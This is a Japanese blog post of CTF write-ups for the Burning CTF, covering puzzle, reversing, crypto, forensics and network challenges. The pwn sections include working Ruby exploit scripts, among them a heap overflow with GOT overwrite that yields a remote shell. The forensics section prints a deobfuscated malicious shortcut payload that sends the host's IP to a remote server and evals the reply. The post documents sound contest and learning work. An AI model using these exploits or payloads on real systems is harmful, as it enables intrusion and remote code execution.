しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

場阿忍愚CTF writeup

2015/11/16から2016/02/07までオンラインで開催された場阿忍愚CTFに参加しました。

2番目に全完して2位でした(*´ω`*)

詰め将棋以外のwriteupを置いておきます(`・ω・´)

101 image level 1 (練習 10)

上から順番に画像を繋げる。

FLAG:START-YAMATO-SEC!!!

111 ワットイズディス? (芸術 33)

ぱっと見で読めるのが「大和世?由???」。
「由」が小さいことから「やまとせ?ゅ???」では?と考えると残りの文字も推測できる。

FLAG:大和セキュリティ

112 cole nanee? (芸術 55)

草書体のサンプルがあるサイトを探し回った。

FLAG:

113 Lines and Boxes (芸術 222)

よく見ると漢字の各パーツがアルファベット。

FLAG:wordplay

114 Why want something more? (芸術 77)

「如」だけ読めたので、3年ぶりくらいに電子辞書を開いて「如」のつく熟語を調べまくった。

FLAG:如是

115 毎日使う (芸術 111)

草書体の部首をまとめたサイトによると、この漢字の部首は「きがまえ(气)」っぽい。
下の部分は「米」っぽい。

FLAG:

117 Extreme Shodo Power (芸術 333)

「氣之呼波和」と書いてあり、「キノコパワー」と読む。

1文字目を「菜」と読み間違えたせいで無限に時間を溶かした。

FLAG:キノコパワー

121 壱萬回 (二進術 100)

x86_64なELF。

関数一覧を見てみると

gdb-peda$ i func
All defined functions:

Non-debugging symbols:
0x0000000000400598  _init
0x00000000004005d0  putchar@plt
0x00000000004005e0  __stack_chk_fail@plt
0x00000000004005f0  __libc_start_main@plt
0x0000000000400600  srand@plt
0x0000000000400610  __gmon_start__@plt
0x0000000000400620  time@plt
0x0000000000400630  __printf_chk@plt
0x0000000000400640  __isoc99_scanf@plt
0x0000000000400650  rand@plt
0x0000000000400660  main
0x0000000000400820  _start
0x0000000000400850  deregister_tm_clones
0x0000000000400890  register_tm_clones
0x00000000004008d0  __do_global_dtors_aux
0x00000000004008f0  frame_dummy
0x0000000000400920  showFlag
0x0000000000400ab0  __libc_csu_init
0x0000000000400b20  __libc_csu_fini
0x0000000000400b24  _fini

showFlagというありがたい関数があるので実行してみる。

gdb-peda$ call showFlag()
FLAG_5c33a1b8860e47da864714e042e13f1e

FLAG:FLAG_5c33a1b8860e47da864714e042e13f1e

122 DxLib遊戯如何様 (二進術 200)

リバーシ

メモリを弄って勝ち回数を増やすとフラグが表示される。

FLAG:otHeLlo_is_ReVersI

123 Unity遊戯如何様 (二進術 200)

ILSpyでゲームロジックを見ると

private void OnGUI()
{
    string str = "_Tutorial";
    GUI.skin = this.guiSkin;
    GUILayout.Space(5f);
    if (this.health)
    {
        GUILayout.Label("Health: " + this.health.currentHealth, new GUILayoutOption[0]);
    }
    if (this.coinsInLevel > 0)
    {
        if (this.coinsCollected == 1)
        {
            string text = "its_3D_Game" + str;
            GUILayout.Label(string.Concat(new object[]
            {
                "Coins: ",
                this.coinsCollected,
                " / ",
                this.coinsInLevel,
                "  FLAG{",
                text,
                "}"
            }), new GUILayoutOption[0]);
        }
        else
        {
            GUILayout.Label(string.Concat(new object[]
            {
                "Coins: ",
                this.coinsCollected,
                " / ",
                this.coinsInLevel
            }), new GUILayoutOption[0]);
        }
    }
    if (Input.GetKey(KeyCode.Escape))
    {
        Application.Quit();
    }
}

とあるが、its_3D_Game_Tutorialをsubmitしてもフラグが通らない……。

しょうがないので、UnityでWindows用の空っぽなアプリを出力し、リソースファイルを問題のファイルに差し替えることで、とりあえずWindows上でも動くようにした。

f:id:Charo_IT:20160204233330p:plain

コインを3つ集めればいいらしい。

f:id:Charo_IT:20160204233356p:plain

ただ、3つめのコインがひどいところにある。

f:id:Charo_IT:20160204233414p:plain

しょうがないので(2回目)、ゲームロジックを1バイト書き換え、コインを1つ集めたらクリア扱いになるようにした。

f:id:Charo_IT:20160204233431p:plain

its_3D_Game_Tutorialが通らないのはフォントに小文字がないからというだけの話だった(つらい)。

FLAG:ITS_3D_GAME_TUTORIAL

131 image level 5 (解読術 50)

Stegsolveで見ると、各画像に一意なtIMEチャンクがついていることがわかる。
tIMEチャンクの値で昇順にソートするとフラグになる。

FLAG:koube-gyu

132 Ninjya Crypto (解読術 100)

忍者文字で「やまといえば」と書いてある。

FLAG:かわ

133 Decrypt RSA (解読術 200)

鍵が640bitなので"RSA 640"でググると、ここ素因数分解の結果が書いてあった。
RSA-640の問題だったらしい。

p, qが分かったので、スクリプトを書いて復号した。

#coding:ascii-8bit
require "openssl"
require_relative "../../pwnlib"

pkey = OpenSSL::PKey::RSA.new(open("public-key.pem").read)
ciphered = open("flag.txt", "rb").read

pkey.p = 1634733645809253848443133883865090859841783670033092312181110852389333100104508151212118167511579
pkey.q = 1900871281664822113126851573935413975471896789968515493666638539088027103802104498957191261465571

pkey.complete_private_key!  # see pwnlib

puts pkey.private_decrypt(ciphered)
#=> FLAG_IS_WeAK_rSA

FLAG:WeAK_rSA

134 Zach! Take a nap! (解読術 404)

名前から分かるとおりナップザック暗号。

ナップザック暗号をシャミアの攻撃法を使って攻撃するスクリプトがチームのwikiにあったので、しほプロに感謝しつつ復号した。

[9] pry(main)> OpenSSL::BN.new(9810209025344919288459001371268157992704782032391464061).to_s(2)
=> "flag={AdiShamirSpoiled}"

FLAG:AdiShamirSpoiled

141 craSH (攻撃術 200)

ぱっと見では気付きにくいが、$ cat a1 任意のファイル > a1といったコマンドを実行するとヒープbofが発生する。

例えば、a1という10byteのファイルがある状態で$ cat a1 a1 a1 > a1を実行した場合、

/*引数ありのcatコマンド("cat file1 file2 ...")の処理*/
void args_cat(char *args[], size_t num, struct file *output) {
    size_t i;
    size_t sz = 0;
    char *written_pos;

    /*出力結果の合計サイズを計算する*/
    for (i=1; i<num; i++) {
        struct file *f = get_file(args[i]);

        if (f == NULL) {
            printf("%s: File Not Found.\n", args[i]);
            continue;
        }

        sz += f->len;
    }

    /*出力先の領域を拡張する必要がある場合は拡張する*/
    if (output->len < sz) {
        output->data = (char*)realloc(output->data, sizeof(char) * (sz+1));
    }
    /*出力先のファイルサイズを更新*/
    output->len = sz;  // (1) a1->len = 10 * 3 = 30 になる

    if (output->data == NULL) {
        fprintf(stderr, "[*] Memory Error.\n");
        exit(-1);
    }

    /*引数のファイルを出力先へコピー*/
    written_pos = output->data;
    for (i=1; i<num; i++) {
        struct file *f = get_file(args[i]);

        if (f == NULL) continue;
        // [!] a1はもともと10byteなので、10 * 3 = 30byte書き込まれて欲しいが、
        //     (1)でa1->len = 30に更新したので、30 * 3 = 90byte書き込まれてしまう
        memcpy(written_pos, f->data, f->len);
        written_pos += f->len;
    }
}

ということになる。

この問題ではプロセスをクラッシュさせれば勝ちなので、ヒープbofを起こしまくっていればそのうちフラグが出てくる。

$ nc -v 210.146.64.35 31337
Connection to 210.146.64.35 31337 port [tcp/*] succeeded!
$ echo hogeho > a1
$ cat a1 a1 a1 a1 > a1
$ cat a1 a1
crash: malloc.c:2372: sysmalloc: Assertion `(old_top == (((mbinptr) (((char *) &((av)->bins[((1) - 1) * 2])) - __builtin_offsetof (struct malloc_chunk, fd)))) && old_size == 0) || ((unsigned long) (old_size) >= (unsigned long)((((__builtin_offsetof (struct malloc_chunk, fd_nextsize))+((2 *(sizeof(size_t))) - 1)) & ~((2 *(sizeof(size_t))) - 1))) && ((old_top)->size & 0x1) && ((unsigned long) old_end & pagemask) == 0)' failed.
That's enough!
flag={NoMoreBashdoor}

FLAG:NoMoreBashdoor

142 Ninja no Aikotoba (攻撃術 300)

最初の4つの質問は、最初から順にYamatooKansaiTanakaZachと答えればOK。

最後の

printf("And the rest? : ");
fgets(resp, input+sizeof(input) - resp, stdin);
truncate_newline(resp);
if (strlen(resp) < 10) kill_enemy(); // no, no. that's too short.
if (!is_matched(input, password, len)) kill_enemy();

の部分が無理ゲーに見えるが、is_matchedをよく見ると、

int is_matched(char *a, char *b, size_t n) {
    int result;
    char save = b[n];

    b[n] = '\0';
    result = strcmp(a, b);
    b[n] = save;
    if (result == -1 || result == 1) return 0;
    return 1;
}

strcmpの戻り値が必ず-1, 0, 1のいずれかになることを期待したコードになっており、「strcmpの戻り値は正, 0, 負のいずれか」という、strcmp本来の仕様とズレている。

x86glibcstrcmpアセンブリを見てみると、大きく分けて

  1. バイト同士を比較し、-1, 0, 1のいずれかを返す
  2. バイト同士を引き算したものを返す

という2つの手法が用意されており、比較したい文字列のアドレスや長さによって使う手法を切り替えているような感じだった。

従って、どうにかして2つめの手法を使わせれば、誤答であってもis_matchedが1を返すようにできる。

が、2つめの手法が使われる条件を詳しく調べるのがめんどくさかったので、2つめの手法が使われるまでブルートフォースした。

#coding:ascii-8bit
require_relative "../../pwnlib"
require "openssl"

remote = true
if remote
    host = "210.146.64.35"
    port = 31338
end

def solve_stage3(a)
    dictionary = {}
    for i in 0..255
        for j in 0..255
            dictionary[[i - j, ((i & j) << 1 ) + (i ^ j)]] = [i, j]
        end
    end

    result = [nil] * 12
    for i in 0...6
        result[i], result[i + 6] = dictionary[[a[i], a[i + 6]]]
    end

    result.map(&:chr).join
end

def solve_stage4(hash)
    # alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

    # alphabet.chars.repeated_permutation(4).find{|s|
    #     OpenSSL::Digest::MD4.hexdigest(s.join) == hash
    # }.join

    return "Zach"
end

for i in 10..230
    puts i
    PwnTube.open(host, port){|tube|

        tube.recv_until("Let me check if you are my ally.\n")

        puts "[*] stage 1"
        tube.send([tube.recv_capture(/(.{4})\? : /)[0].unpack("L")[0] ^ 0x001a0012].pack("L") + "\0")

        puts "[*] stage 2"
        tube.recv_until("So then next? : ")
        tube.send([0164, 111, 0x6f].map(&:chr).join + "\0")

        puts "[*] stage 3"
        tube.send(solve_stage3(tube.recv_capture(/Good\.\n\n([\d \-]+)\? : /)[0].split.map(&:to_i)) + "\0")

        puts "[*] stage 4"
        tube.send(solve_stage4(tube.recv_capture(/([0-9a-f]+)\? : /)[0]) + "\0")

        puts "[*] stage 5"
        tube.send("1" * i + "\n")

        result = tube.recv_until_eof
        if result.include?("Flag")
            puts result
            exit
        end
    }
end
$ ruby exploit.rb
(snip)
62
[*] connected
[*] stage 1
[*] stage 2
[*] stage 3
[*] stage 4
[*] stage 5
Good.

And the rest? : Well Done!

Flag: flag={GetsuFumaDen}
 ・
[*] connection closed

FLAG:GetsuFumaDen

143 craSH 2 (攻撃術 500)

craSHで説明したヒープbofを使って他のfile構造体を書き換え、file.dataがgotを指すようにすればgotを読み書きできる。

got overwriteで制御を奪い、そのままOne-Gadget-RCEに飛ばせばシェルが取れる。

gdbでヒープの状態を確認しながら、チャンク同士の位置関係がいい感じになるような手順を探した。

#coding:ascii-8bit
require_relative "../../pwnlib"

EOF = "\x04"

remote = true
if remote
    host = "210.146.64.35"
    port = 31337
    libc_offset = {
        "printf" => 0x54400,
        "rce" => 0xe681d
    }
else
    host = "localhost"
    port = 54321
end

got = {
    "printf" => 0x603040
}

PwnTube.open(host, port){|tube|
    tube.wait_time = 0.2

    # file.dataのチャンクの後ろにfile構造体が来るようにセッティング
    puts "[*] prepare"
    tube.recv_until("$ ")
    tube.send("cat > a1\n")
    payload = ""
    payload << "1" * 0xf0
    tube.send(payload + EOF)

    tube.recv_until("$ ")
    tube.send("cat > a2\n")
    payload = ""
    payload << "2" * 8
    tube.send(payload + EOF)

    tube.recv_until("$ ")
    tube.send("cat > a3\n")
    payload = ""
    payload << "3" * 8
    tube.send(payload + EOF)

    tube.recv_until("$ ")
    tube.send("cat > a4\n")
    payload = ""
    payload << "4" * 0x50
    payload << [8].pack("Q")
    payload << [got["printf"]].pack("Q")
    tube.send(payload + EOF)

    tube.recv_until("$ ")
    tube.send("cat > a1\n")
    payload = ""
    payload << "5" * (0xf0 - 0x60)
    tube.send(payload + EOF)

    puts "[*] heap overflow"
    tube.recv_until("$ ")
    tube.send("cat a1 a4 > a1\n")

    # これ以降、a3を読み書きすることでgotを読み書きできる
    puts "[*] leak libc base"
    tube.recv_until("$ ")
    tube.send("cat a3\n")
    libc_base = tube.recv_until(/.{8}/m).unpack("Q")[0] - libc_offset["printf"]
    puts "libc base 0x%016x" % libc_base

    puts "[*] overwrite got"
    tube.recv_until("$ ")
    tube.send("cat > a3\n")
    payload = ""
    payload << [libc_base + libc_offset["rce"]].pack("Q")
    tube.send(payload + EOF)

    tube.interactive
}
$ ruby craSH.rb
[*] connected
[*] prepare
[*] heap overflow
[*] leak libc base
libc base 0x00007ff494602000
[*] overwrite got
[*] interactive mode
id
uid=1002(crash) gid=1002(crash) groups=1002(crash)
ls -la
total 44
drwxr-x--- 2 root crash  4096 Oct  8 22:55 .
drwxr-xr-x 5 root root   4096 Oct  8 22:31 ..
-rwxr-x--- 1 root crash 23965 Sep 25 10:31 crash
-rw-r-x--- 1 root crash    49 Oct  8 22:55 crash_launch
-rw-r----- 1 root crash    22 Sep 25 10:31 flag.txt
-rw-r----- 1 root crash    31 Sep 25 10:31 flag2_hard_to_guess_lolololol.txt
cat flag2*
flag={GiveMeOneMoreShellshock}
exit
[*] end interactive mode
[*] connection closed

FLAG:GiveMeOneMoreShellshock

151 Doubtful Files (解析術 100)

わざわざ自己解凍形式のRARになっているのには理由があるのでは?と考えると、夏に少し話題になったZoneIDの話が思い出される。

ということで、各ファイルのZoneIDを出力させてみると

$ more < 7.inf:Zone.Identifier
[ZoneTransfer]
ZoneId=0

ZmxhZz17QWx0ZXJuYXRlIERhdG

$ more < 8.vbs:Zone.Identifier
[ZoneTransfer]
ZoneId=4

EgU3RyZWFtIG9uIE5URlMhfQ==

なんかついてた。

この2つの文字列を繋げてbase64デコードするとフラグが出てくる。

$ base64 -d <<< ZmxhZz17QWx0ZXJuYXRlIERhdGEgU3RyZWFtIG9uIE5URlMhfQ==
flag={Alternate Data Stream on NTFS!}

FLAG:Alternate Data Stream on NTFS!

152 情報漏洩 (解析術 100)

Wiresharkで見ると、pngのヘッダが見えるパケットがある。

f:id:Charo_IT:20160204233816p:plain

IENDが出てくるまでのパケットのデータを取り出すと、フラグの書かれた画像が得られる。

f:id:Charo_IT:20160204233834p:plain

FLAG:gambare benesse

153 Speech by google translate (解析術 150)

フラグを読み上げる音声が途中で切れてしまうので調べたところ、ファイルヘッダのdataチャンクに書いてあるchunkSizeが小さいことがわかった。

f:id:Charo_IT:20160204233844p:plain

chunkSizeを適当に増やしてリスニング。

FLAG:X5kpBQJUufHdkch923SJ

154 Cool Gadget (解析術 200)

stringsコマンドで調べるとremoveme={U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0}という文字列が見つかるので、指示通り文字列を削除すると画像がちゃんと表示されるようになる。

f:id:Charo_IT:20160204233900j:plain

先の文字列にあったbase64をデコードすると、

$ base64 -d <<< U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0 | xxd
0000000: 5361 6c74 6564 5f5f 4312 52d9 e62a 2c68  Salted__C.R..*,h
0000010: 1522 f4ce 7352 4108 7924 4993 391b 7fc5  ."..sRA.y$I.9...
0000020: df18 8b9f d8ab c53b 0ef5 389d 1699 e274  .......;..8....t

"Salted__"から始まるバイト列が得られる。

ここを参考にしつつ復号するとフラグが出てくる。
キーは画像で示されているEAHIV

$ base64 -d <<< U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0 | openssl enc -d -aes-128-cbc
enter aes-128-cbc decryption password:EAHIV
flag={Cryptex is cool!}

155 Encrypted Message (解析術 300)

155-memdump.memと155-secretの2つのファイルが渡される。

一方のファイル名に"memdump"とあるので、Volatilityで見てみる。

$ volatility -v -f 155-memdump.mem imageinfo
Volatility Foundation Volatility Framework 2.5
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win10x86, Win81U1x86, Win8SP1x86, Win8SP0x86 (Instantiated with Win81U1x86)
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/home/charo/ctf/burning_ctf/for300/155-memdump.mem)
                      PAE type : PAE
                           DTB : 0x185000L
                          KDBG : 0x813e3558L
          Number of Processors : 2
     Image Type (Service Pack) : 0
                KPCR for CPU 0 : 0x81418000L
                KPCR for CPU 1 : 0x819ee000L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2014-08-22 22:03:49 UTC+0000
     Image local date and time : 2014-08-23 07:03:49 +0900

x86Windowsのメモリダンプらしい。

stringsで調べてみると

$ strings 155-memdump.mem | grep win8
9200.16384.x86fre.win8_rtm.120725-1247
9200.win8_rtm.120725-1247
9200.16384.x86fre.win8_rtm.120725-1247
9200.win8_rtm.120725-1247

"win8_rtm"とか出てくるので、プロファイルはWin8SP0x86を使えばよさそう。

プロセスリストも見てみる。

$ volatility -v -f 155-memdump.mem --profile=Win8SP0x86 pslist
Volatility Foundation Volatility Framework 2.5
Offset(V)  Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit
---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0x832a0800 System                    4      0    100        0 ------      0 2014-08-22 21:57:28 UTC+0000
0x87dc1040 smss.exe                288      4      2        0 ------      0 2014-08-22 21:57:28 UTC+0000
0x87db1040 csrss.exe               376    360     10 --------      0      0 2014-08-22 21:57:29 UTC+0000
0x832fb040 smss.exe                420    288      0 --------      1      0 2014-08-22 21:57:29 UTC+0000   2014-08-22 21:57:30 UTC+0000
0x83301540 wininit.exe             436    360      2 --------      0      0 2014-08-22 21:57:29 UTC+0000
0x83307600 csrss.exe               444    420     10        0      1      0 2014-08-22 21:57:29 UTC+0000
0x8332a600 winlogon.exe            492    420      4        0      1      0 2014-08-22 21:57:30 UTC+0000
0x8de99cc0 services.exe            532    436      7        0      0      0 2014-08-22 21:57:30 UTC+0000
0x8de9ecc0 lsass.exe               540    436      7 --------      0      0 2014-08-22 21:57:30 UTC+0000
0x8dec3340 svchost.exe             636    532      7 --------      0      0 2014-08-22 21:57:30 UTC+0000
0x8decbcc0 VBoxService.ex          672    532     10        0      0      0 2014-08-22 21:57:31 UTC+0000
0x8decf940 svchost.exe             732    532      9 --------      0      0 2014-08-22 21:57:31 UTC+0000
0x8de1d900 svchost.exe             788    532     19 --------      0      0 2014-08-22 21:57:31 UTC+0000
0x8de2dcc0 LogonUI.exe             820    492      0 --------      1      0 2014-08-22 21:57:31 UTC+0000   2014-08-22 21:57:47 UTC+0000
0x8de30cc0 dwm.exe                 828    492      7        0      1      0 2014-08-22 21:57:31 UTC+0000
0x8de42040 svchost.exe             868    532     33 --------      0      0 2014-08-22 21:57:31 UTC+0000
0x8de5f800 svchost.exe             960    532     15        0      0      0 2014-08-22 21:57:31 UTC+0000
0x8de71440 svchost.exe            1064    532     11        0      0      0 2014-08-22 21:57:31 UTC+0000
0x83312540 svchost.exe            1176    532     13 --------      0      0 2014-08-22 21:57:32 UTC+0000
0x9be008c0 spoolsv.exe            1288    532     10 -------- ------      0 2014-08-22 21:57:32 UTC+0000
0x9be20a00 svchost.exe            1336    532     22        0      0      0 2014-08-22 21:57:32 UTC+0000
0x9be7d040 MsMpEng.exe            1500    532     25        0      0      0 2014-08-22 21:57:33 UTC+0000
0x9be41800 taskhostex.exe         2000    532     11        0      1      0 2014-08-22 21:57:42 UTC+0000
0x9bf4d800 explorer.exe            312   2040     52        0      1      0 2014-08-22 21:57:42 UTC+0000
0x9bf84880 svchost.exe            1252    532      2 -------- ------      0 2014-08-22 21:57:45 UTC+0000
0x9bed36c0 SearchIndexer.          252    532     12        0      0      0 2014-08-22 21:57:49 UTC+0000
0x9bff1b80 ImeBroker.exe          2136    636      3 --------      1      0 2014-08-22 21:57:58 UTC+0000
0x9e209680 VBoxTray.exe           2204    312      9        0      1      0 2014-08-22 21:58:02 UTC+0000
0x9bfeacc0 audiodg.exe            2416    788      6 --------      0      0 2014-08-22 21:58:18 UTC+0000
0x9e22d040 TrueCrypt.exe          3400    312      8        0      1      0 2014-08-22 22:00:27 UTC+0000
0x8de70440 WMIADAP.exe            3692    868      4        0      0      0 2014-08-22 22:01:41 UTC+0000
0x9e275940 WmiPrvSE.exe           3724    636      6        0      0      0 2014-08-22 22:01:41 UTC+0000
0x9be89ac0 FTK Imager.exe         1968    312     18        0      1      0 2014-08-22 22:03:01 UTC+0000
0x9bf01640 dllhost.exe            2348    636      5        0      1      0 2014-08-22 22:03:39 UTC+0000

TrueCryptがいるので、TrueCrypt関連の解析をかける。

$ volatility -v -f 155-memdump.mem --profile=Win8SP0x86 truecryptsummary
Volatility Foundation Volatility Framework 2.5
Process              TrueCrypt.exe at 0x9e22d040 pid 3400
Service              truecrypt state SERVICE_RUNNING
Kernel Module        truecrypt.sys at 0x89cbe000 - 0x89cf5000
Driver               \Driver\truecrypt at 0x610e130 range 0x89cbe000 - 0x89cf4b80
Device               <HIDDEN> at 0x8a636150 type FILE_DEVICE_DISK
Container            Path: \??\C:\Users\yosawa\Desktop\secret
Device               TrueCrypt at 0x87daf598 type FILE_DEVICE_UNKNOWN

$ volatility -v -f 155-memdump.mem --profile=Win8SP0x86 truecryptmaster
Volatility Foundation Volatility Framework 2.5
Container: \??\C:\Users\yosawa\Desktop\secret
Hidden Volume: No
Removable: No
Read Only: No
Disk Length: 786432 (bytes)
Host Length: 1048576 (bytes)
Encryption Algorithm: AES
Mode: XTS
Master Key
0x9e24f1a8  64 60 2f 3e 03 93 9e 5f 64 6a d6 2d 00 36 21 eb   d`/>..._dj.-.6!.
0x9e24f1b8  2d 5b 75 8a 23 33 35 d8 82 ee f2 f5 00 68 d0 de   -[u.#35......h..
0x9e24f1c8  48 ba 46 13 bb 56 6a fb 1a 0d 4f 8b 40 52 92 44   H.F..Vj...O.@R.D
0x9e24f1d8  4e 8f 77 1a 51 e8 a4 26 82 35 ac 23 21 77 49 f8   N.w.Q..&.5.#!wI.

"secret"という名前のTrueCryptコンテナのマスタキーが出てきた。
つまり、同梱されていた155-secretというファイルはTrueCryptコンテナで、このコンテナを復号するためのマスタキーが手に入ったことになる。

マスタキーのみでTrueCryptコンテナを復号する方法を調べたところ、

  • TrueCryptのソースを弄ってマスタキーのみで復号できるようにする
  • TrueCryptを扱えるライブラリを探す

のどちらかしかなさそうな感じだった。(TrueCryptの仕組みに関してはこの辺この辺が参考になった)

あちこち探し回った結果、TrueCryptを扱うためのオープンソースC#ライブラリ(TrueResize)を見つけたので、マスタキーのみで復号できるように改造し、コンテナを復号した。

復号したコンテナの中にフラグがあった。

f:id:Charo_IT:20160204233918p:plain

FLAG:Already Ended In 5/2014

161 ftp is not secure. (電網術 50)

ftpでtarを受信しているのが丸見えなので、データを抜いて解凍し、出てきたbase64をデコードする。

FLAG:XTInX69nqvFaoEwwNb

162 ベーシック (電網術 75)

user:pass = http://burning.nsc.gr.jpBasic認証しているログがある。

http://burning.nsc.gr.jpにアクセスするとBasic認証を求められるのでuser:pass = http://burning.nsc.gr.jpを入れると、フラグが書かれたページにアクセスできる。

FLAG:BasicIsNotSecure

163 六十秒 (電網術 333)

最後のpingbase64っぽい文字列がついているのでデコードしてみる。

$ base64 -d <<< B00OWA6QNOZmxhZz17MTJHYXRzdTE0TmljaGlBa2F0c3VraTdUc3V9
MX4詛ニs?$vG7SD・カG7VカuG7Wbase64: invalid input

base64コマンドが"invalid input"と文句を言ってくるときは、大抵

  • 変な文字が入っている
  • 入力の文字列の長さが4の倍数でない

のどちらかなので、先頭に2文字追加してデコードしてみる。

$ base64 -d <<< AAB00OWA6QNOZmxhZz17MTJHYXRzdTE0TmljaGlBa2F0c3VraTdUc3V9
tミ裨Nflag={12Gatsu14NichiAkatsuki7Tsu}

NTPの部分を全力で無視しているので、たぶん想定解じゃない……w

FLAG:12Gatsu14NichiAkatsuki7Tsu

164 Japanese kids are knowing (電網術 150)

ポートスキャンしろ(意訳)と書いてあるのでポートスキャンする。

$ nmap -v 210.146.64.34

Starting Nmap 6.40 ( http://nmap.org ) at 2015-11-22 01:50 JST
Initiating Ping Scan at 01:50
Scanning 210.146.64.34 [2 ports]
Completed Ping Scan at 01:50, 3.00s elapsed (1 total hosts)
Nmap scan report for 210.146.64.34 [host down]
Read data files from: /usr/bin/../share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.04 seconds

-Pnオプションを付けろと言われるので、ついでにいろいろオプションを付けて再度スキャンしてみる。

$ nmap -v -T4 -Pn -p 1-65535 210.146.64.34

Starting Nmap 6.40 ( http://nmap.org ) at 2015-11-22 02:22 JST
Initiating Parallel DNS resolution of 1 host. at 02:22
Completed Parallel DNS resolution of 1 host. at 02:22, 0.00s elapsed
Initiating Connect Scan at 02:22
Scanning 210.146.64.34 [65535 ports]
Connect Scan Timing: About 0.46% done
Connect Scan Timing: About 0.92% done
Connect Scan Timing: About 1.37% done; ETC: 04:13 (1:48:55 remaining)
Connect Scan Timing: About 5.63% done; ETC: 04:12 (1:43:21 remaining)
Connect Scan Timing: About 10.61% done; ETC: 04:12 (1:37:51 remaining)
Connect Scan Timing: About 15.59% done; ETC: 04:12 (1:32:22 remaining)
Connect Scan Timing: About 20.58% done; ETC: 04:12 (1:26:52 remaining)
Connect Scan Timing: About 25.61% done; ETC: 04:12 (1:21:22 remaining)
Connect Scan Timing: About 30.60% done; ETC: 04:12 (1:15:54 remaining)
Connect Scan Timing: About 35.63% done; ETC: 04:12 (1:10:24 remaining)
Connect Scan Timing: About 40.66% done; ETC: 04:12 (1:04:54 remaining)
Connect Scan Timing: About 45.69% done; ETC: 04:12 (0:59:23 remaining)
Connect Scan Timing: About 50.72% done; ETC: 04:12 (0:53:53 remaining)
Connect Scan Timing: About 55.75% done; ETC: 04:12 (0:48:24 remaining)
Connect Scan Timing: About 60.78% done; ETC: 04:12 (0:42:53 remaining)
Connect Scan Timing: About 65.81% done; ETC: 04:12 (0:37:23 remaining)
Connect Scan Timing: About 70.85% done; ETC: 04:12 (0:31:53 remaining)
Discovered open port 5006/tcp on 210.146.64.34
Connect Scan Timing: About 75.33% done; ETC: 04:09 (0:26:15 remaining)
Completed Connect Scan at 03:43, 4835.07s elapsed (65535 total ports)
Nmap scan report for 210.146.64.34
Host is up (0.017s latency).
Not shown: 65534 filtered ports
PORT     STATE SERVICE
5006/tcp open  unknown

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 4835.11 seconds

5006番が開いているっぽいので繋いでみる。

$ nc -v 210.146.64.34 5006
Connection to 210.146.64.34 5006 port [tcp/*] succeeded!
<C-D-E-F-E-D-C---E-F-G-A-G-F-E---C-C-C-C-CCDDEEFFE-D-C->what animal am i?the flag is the md5 hash of my name.

「かえるの歌」なのでmd5("frog")がフラグ。

$ echo -n frog | md5sum
e61c8f2d759d06455723ef3bab23afcb  -

FLAG:e61c8f2d759d06455723ef3bab23afcb

165 Malicious Code (電網術 200)

HTTPでp.lnkというファイルを落としているのでバイナリエディタで見てみると、cmd.exe /c echo eval((snip))>%tmp%/x.js&%tmp%/x.jsを実行するショートカットリンクになっていることが分かる。

出力されるjavascriptはこんな感じ。

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('6 3(){1 w=R("Q:{P=O}");e=5 N(w.M("L * K J I H = G"));4 e.F().E(0)}6 p(u,d){1 r=5 D("C.B");r.A("z",u,y);r.v("t-s","q/x-o-n-m");r.l(2,k);r.j(d);4 r.i}1 u="h://g.f.c.b:a/p.9";1 d="8="+3();7(p(u,d));',54,54,'|var||ip|return|new|function|eval|myaddr|php|60444|38|64|||146|210|https|responseText|send|13056|setOption|urlencoded|form|www||application||Type|Content||setRequestHeader|||false|POST|open|ServerXMLHTTP|Msxml2|ActiveXObject|IPAddress|item|True|IPEnabled|WHERE|Win32_NetworkAdapterConfiguration|FROM|SELECT|ExecQuery|Enumerator|impersonate|impersonationLevel|winmgmts|GetObject'.split('|'),0,{}))

packされているのを展開するとこんな感じになる。

function ip() {
    var w = GetObject("winmgmts:{impersonationLevel=impersonate}");
    e = new Enumerator(w.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True"));
    return e.item().IPAddress(0)
}

function p(u, d) {
    var r = new ActiveXObject("Msxml2.ServerXMLHTTP");
    r.open("POST", u, false);
    r.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    r.setOption(2, 13056);
    r.send(d);
    return r.responseText
}
var u = "https://210.146.64.38:60444/p.php";
var d = "myaddr=" + ip();
eval(p(u, d));

https://210.146.64.38:60444/p.phpmyaddr=IPアドレスというデータをPOSTするコードになっている。

pcapを見るとこのコードは10.0.2.222上で実行されるはずなので、myaddr=10.0.2.222と送ればフラグが返ってくる。

$ curl -k -d 'myaddr=10.0.2.222' https://210.146.64.38:60444/p.php
WScript.Echo('flag = {lnk is sometimes malicious}')

FLAG:lnk is sometimes malicious

171 KDL (諜報術 100)

Wayback Machine1998/12/07時点のKDLホームページを見る。

FLAG:ソフトウェア開発エンジニア

172 Mr. Nipps (諜報術 255)

このツイートについている位置情報を答えればOK。
TweetDeckで該当ツイートを表示させ、ブラウザの開発者コンソールから通信内容を覗くとGPS情報が見つかる。

FLAG:34.0409203,-118.2672272

173 Akiko-chan (諜報術 155)

Google画像検索にかけ、URLにwordpress.comが入っているものを探す。

FLAG:twanzphobic.wordpress.com

174 タナカハック (諜報術 100)

このページにある「パズル1-2」のPDFの作成者を見ればOK。

